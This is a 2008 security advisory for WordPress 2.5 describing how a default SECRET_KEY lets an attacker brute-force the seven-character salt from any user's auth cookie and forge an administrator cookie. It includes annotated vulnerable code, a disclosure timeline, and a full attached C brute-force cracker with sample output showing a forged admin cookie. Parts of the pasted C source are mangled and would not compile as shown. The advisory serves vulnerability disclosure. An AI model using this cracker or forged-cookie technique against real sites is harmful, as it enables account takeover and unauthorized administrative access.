Recent comments

Links

By J. Carlos Nieto <xiam@menteslibres.org> http://xiam.menteslibres.org

Severity

Medium. It affects only a determinate part of the WordPress users under specific conditions.

Affected software

  • WordPress 2.5

Vulnerability conditions

After the initial WordPress instalation, the wp-config.php's SECRET_KEY must remain as te default value: 'put your unique phrase here' or be undefined, the default value remains untouched after installing via a browser.

When the WordPress package is unpacked and the victim is ready to install it, he will be asked to read the manual in order to create a wp-config.php file, or to change permissions for the installation directory to be writable. If he choose to change directory permissions, the installation will be completely via web and the SECRET_KEY will remain as the default value.

There exists some other conditions that let the user install WordPress without even knowing that he must change a SECRET_KEY in wp-config.php

  1. If the user attempts to install WordPress on Windows. Since Windows does not have a strong permissions check.
  2. If the user attempts to install WordPress under Apache + suexec. The files are not readable or writable for all other users, but writable for the user himself. Thus the installed won't ask you to read the manual.
  3. Some hosting companies have a one-click installer that does not setup a SECRET_KEY.
  4. You failed to read the whole installation manual.

Vulnerable scripts

wp-include/pluggable.php

function wp_validate_auth_cookie($cookie) { … // The cookie is not being validated. list($username, $expiration, $hmac) = explode('|', $cookie); … // I could send 9999999999 as the second argument of the cookie to skip this condition. if ( $expired < time() ) return false; …

// A mysterious hash is used here, the hash becomes a seven // character word generated by wp_generate_password() // (a.k.a. SECRET_SALT), note that wp_salt() sets // $secret_key to null if SECRET_KEY is equal to the default value. // The argument passed to wp_hash() is completely poisonable. // To gain admin privileges I could use: // 'admin|9999999999|MISTERIOUSHASH' as my cookie.

$key = wp_hash($username . $expiration);

$hash = hash_hmac('md5', $username . $expiration, $key);

// A weak check, I may provide a custom $hmac by knowing // the wp_salt()'s value.

if ( $hmac != $hash ) return false;

// There is no password check, not even IP verification $user = get_userdatabylogin($username);

}

function wp_salt() { global $wp_default_secret_key;

$secret_key = '';

// If the key is null, not defined or has the default // value $secret_key remains null

if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && ( $wp_default_secret_key != SECRET_KEY) ) $secret_key = SECRET_KEY;

if ( defined('SECRET_SALT') ) { $salt = SECRET_SALT; } else { $salt = get_option('secret'); if ( empty($salt) ) { $salt = wp_generate_password(); update_option('secret', $salt); } } }

// $salt is a seven char long password. $secret_key is null. return apply_filters('salt', $secret_key . $salt); }

The wp_salt()'s value is stored here:

mysql> select * from wp_options where option_name = 'secret';
+-----------+---------+-------------+--------------+----------+
| option_id | blog_id | option_name | option_value | autoload |
+-----------+---------+-------------+--------------+----------+
|        61 |       0 | secret      | eat5fsE      | yes      |
+-----------+---------+-------------+--------------+----------+
1 row in set (0.00 sec)

So if the attacker gets the value of that seven length string he can craft a special cookie and gain access to ANY account he wants.

How can I know the value of wp_salt()?

I am thinking of two ways to get the value of the wp_salt():
  1. Gain access to the WP database by using a SQL injection (such as the GBK encoding and addslashes() issue) on the WordPress core itself or on a third party plugin (the latest is more likely to be possible). I din't find any user-level SQL injection on the WP core.
  2. Register yourself on a WP 2.5 blog, log in and grab the cookie named wordpress_MD5(SITE_URL), try to crack the value of the wp_salt() with an offline attack using an specialized program.

Possible solution

Read The Fabulous Manual (a.k.a. RTFM) and realize that you have to change the SECRET_KEY's value. The SECRET_KEY should be changed automatically to something random.

Proof of concept

I wrote a bruteforce HMAC-MD5 cracker and adapted it to crack wp_salt()'s values using a legitimate cookie as an argument.

This is the output of my program cracking the wp_salt() based on a unprivileged user cookie:

test%7C1208303160%7C7d735c50e3635035bf83132cc94ce731 and a given charset:

$ gcc -lcrypto -Wall -o wpsalt wpsalt.c

$ ./wpsalt test 1208303160 7d735c50e3635035bf83132cc94ce731 345aefstAE === Success! === * Key: eat5fsE * Valid cookie: admin%7C9999999999%7Cc47aa8c2946525aa9bac61332faba442 === Statistics === * Time taken: 31.240000 s * Average speed: 308986.363636 w/s

The arguments of the wp_salt cracker are:

./wpsalt username timestamp hash [charset]

The average speed of my program is 360000 words per second.

There are 62 characters that can be used to generate a 7 character long wp_password(). If we perform a linear attack, we would have to wait (in the worst case), 62^7/360000/3600/24 = 113 days. However, if we are lucky and we feed the program with a 31 long (a half of the total) character set that contains the seven magic letters, the attack can be reduced to 31^7/360000/3600/24 = 0.8 days, but this, of course, will work only if we are very lucky. The time of the attack is incremented exponentially with each extra character.

Vulnerability timeline

Apr 12, 2008 - Vulnerability found.

Apr 13, 2008 - Vendor notified (no response).

Apr 15, 2008 - Public disclosure.

Acknowledgments

g30rg3_x told me the appropriate way to report a WordPress security vulnerability and helped me to test the severity of the issue.

Attachments

--- begins wpsatl.c ---

/*** * * Wordpress 2.5 cookie based salt cracker * by J. Carlos Nieto <xiam@menteslibres.org> * http://xiam.menteslibres.org * * Date: * April 13, 2008 * * Advisory: * http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability * * $ gcc -Wall -lcrypto -o wpsalt wpsalt.c * $ ./wpsalt * * */

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <openssl/md5.h> #include <time.h>

#define CHARSET “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789” #define KEY_LEN 7 #define hexdec(x) (x - '0' < 10 ? x - '0' : x - 'a' + 10) #define dechex(x) (x < 10 ? x + '0' : x - 10 + 'a')

void digest_to_string(unsigned char *, unsigned char *); void print_digest(unsigned char *); void hmac_md5(unsigned char *, int, unsigned char *, int, unsigned char *); void exit(int); void help(); void wp_hash(char *, int, unsigned char *, int, unsigned char *); void error(const char *); void string_to_digest(const char *, unsigned char *);

void digest_to_string(unsigned char *digest, unsigned char string) { int i; int s; for (i = 0; i < 16; i++) { s = digest[i]%16; string[i2] = dechex((digest[i]-s)/16); string[i*2+1] = dechex(s); } string[32] = 0; }

void print_digest(unsigned char *digest) { unsigned char string[32]; digest_to_string(digest, string); printf(“%s\n”, string); }

/* http://www.faqs.org/rfcs/rfc2104.html */ void hmac_md5(unsigned char *text, int text_len, unsigned char *key, int key_len, unsigned char digest) { MD5_CTX context; unsigned char k_ipad[65]; unsigned char k_opad[65]; //unsigned char tk[16]; int i; / if (key_len > 64) { MD5_CTX tctx; MD5_Init(&tctx); MD5_Update(&tctx, key, key_len); MD5_Final(tk, &tctx); key = tk; key_len = 16; } */ bzero(k_ipad, 65); bzero(k_opad, 65); bcopy(key, k_ipad, key_len); bcopy(key, k_opad, key_len); for (i = 0; i < 64; i++) { k_ipad[i] ^= 0x36; k_opad[i] ^= 0x5c; } MD5_Init(&context); MD5_Update(&context, k_ipad, 64); MD5_Update(&context, text, text_len); MD5_Final(digest, &context); MD5_Init(&context); MD5_Update(&context, k_opad, 64); MD5_Update(&context, digest, 16); MD5_Final(digest, &context); }

void help() { printf(“WordPress 2.5, cookie based salt cracker\n”); printf(“by xiam <xiam@menteslibres.org>\n”); printf(“============================================================\n”); printf(“Advisory: http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability\n”); printf(“\n”); printf(“Usage:\n”); printf(“ ./wpsalt username timestamp hash [charset]\n”); printf(“\n”); printf(“Example:\n”); printf(“ Get a legitimate user cookie, it doesn't need to be from\n”); printf(“ a privileged user.\n”); printf(“ It should look like this:\n”); printf(“ admin%%7C1208298864%%7C981a2a1363e9044a1181661b46777410\n”); printf(“ Run the program:\n”); printf(“ $ ./wpsalt admin 1208298864 \\\n”); printf(“ 981a2a1363e9044a1181661b46777410\n”); printf(“ Now wait some months… or if you're feeling lucky, specify\n”); printf(“ a charset such as in the example below:\n”); printf(“ $ ./wpsalt admin 1208298864 \\\n”); printf(“ 981a2a1363e9044a1181661b46777410 aef5Est\n”); exit(0); }

void wp_hash(char *data, int data_len, unsigned char *key, int key_len, unsigned char *digest) { unsigned char salt[16]; unsigned char inter_key[32]; hmac_md5((unsigned char *)data, data_len, key, key_len, salt); digest_to_string(salt, inter_key); hmac_md5((unsigned char *)data, data_len, inter_key, 32, digest); }

void error(const char *s) { printf(“E: %s\n”, s); exit(0); }

void string_to_digest(const char *string, unsigned char *digest) { int i; int c; if (strlen((char )string) == 32) { for (i = 0; i < 16; i++) { c = hexdec(string[2i])16; c += hexdec(string[2i+1]); digest[i] = c; } } else { error(“The hash must be a 32 chars string.”); } }

int main(int argc, char *argv[]) { unsigned char goal_digest[16]; unsigned char key[KEY_LEN+1]; char *data; char *charset; int map[KEY_LEN]; int charset_len, data_len; unsigned long long int words; int i, j, carr, cont; clock_t time_start, time_end; double total_time; unsigned char digest[16]; data = NULL; charset = NULL; if (argc > 3) { string_to_digest(argv[3], goal_digest); data = (char ) malloc(sizeof(unsigned char)(strlen(argv[1]) + strlen(argv[2]) + 1)); strcat(data, argv[1]); strcat(data, argv[2]); if (argc > 4) { charset = argv[4]; } else { charset = CHARSET; } } else { help(); } data_len = strlen(data); charset_len = strlen(charset)-1; for (i = 0; i < KEY_LEN; i++) { map[i] = 0; key[i] = charset[0]; } key[i] = '\0'; map[0] = -1; time_start = clock(); for (words = -1, cont = 1; cont; words++) { j = 0; map[j]++; if (map[j] > charset_len) { map[0] = 0; key[0] = charset[0]; carr = 1; j++; while (carr) { if (j < KEY_LEN) { map[j]++; if (map[j] > charset_len) { map[j] = 0; } else { carr = 0; } key[j] = charset[map[j]]; j++; } else { cont = 0; carr = 0; } } } else { key[0] = charset[map[0]]; } wp_hash(data, data_len, key, KEY_LEN, digest);

if (memcmp(digest, goal_digest, 16) == 0) { printf(“=== Success! ===\n”); printf(“* Key: %s\n”, key); wp_hash(“admin9999999999”, 15, key, KEY_LEN, digest); printf(“* Valid cookie: admin%%7C9999999999%%7C”); print_digest(digest); cont = 0; } } time_end = clock(); total_time = ((double) (time_end - time_start)) / CLOCKS_PER_SEC; printf(“\n”); printf(“=== Statistics ===\n”); printf(“* Time taken: %f s\n”, total_time); printf(“* Average speed: %f w/s\n”, words/total_time); return 0; } --- ends wpsalt.c ---